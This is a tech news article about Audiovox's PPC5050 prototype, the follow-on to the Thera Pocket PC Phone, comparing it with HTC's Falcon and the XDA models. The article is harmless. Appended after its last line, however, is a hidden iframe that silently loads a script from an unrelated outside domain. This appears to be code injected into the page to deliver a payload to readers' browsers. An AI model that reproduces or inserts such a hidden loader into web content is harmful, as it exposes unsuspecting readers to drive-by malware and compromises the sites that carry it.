Audiovox Shows Prototype of Thera Follow-on - PPC5050

**REGISTER**

The Audiovox Thera was the first CDMA Pocket PC Phone to be produced. A twin of the Toshiba 2032, the two are sold by Sprint and Verizon in the US. The Thera came out prior to Microsoft's release of Pocket PC Phone Edition, and so it uses a custom dialer application which is less fully integrated. Audivox is now showing a prototype of the follow-on to the Thera, which they are calling the PPC5050. The PPC5050 appears to be HTC's CMDA Pocket PC Phone Edition, code named "Falcon", and approved by the FCC late last year. It is hard to tell from the pictures and information provided if it is the "Falcon", or a newer design.

The HTC "Falcon" is a CDMA version of their GSM/GPRS XDA (also marketed in the US as the T-Mobile Pocket PC Phone Edition and AT&T Siemens SX56). O2 has announced their XDA II which has gotten rid of the antenna and added more memory - 128MB. The photos of the PPC5050 show the antenna which is consistent with the current XDA. As more details emerge, we will be able to determine if the PPC5050 is more similar to the XDA or XDA II. Which ever it is, it will be an improvement over the current Thera.

The PPC5050 will be powered by Intel's 400MHz Xscale CPU and 64MB of RAM. This is an improvement over the Thera's 32MB, but may not help it to hold a leadership position as other devices are beginning to emerge with 128MB, and pdaPhones have a longer market life than standard PDAs. Whlie the device has an integrated GPS (bump on the top left of the device), it is too early to tell if it will be usable for mapping and navigation applications, or just for 911 and location based services. The PPC5050 has an SD/IO port allowing the use of add-on cards such as Bluetooth or Wi-Fi. It weighs in at 7.5 ounces and has a similarly slim curved shape to the XDA... a departure from the boxy look of the Thera. We can expect to see the PPC5050 before the end of the year. Both Verizon and Sprint (the current sellers of the Thera) have announced other Pocket PC Phone devices recently, and neither has announced support for the PPC5050.

Read the source articles at Digitimes and MobileMag.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>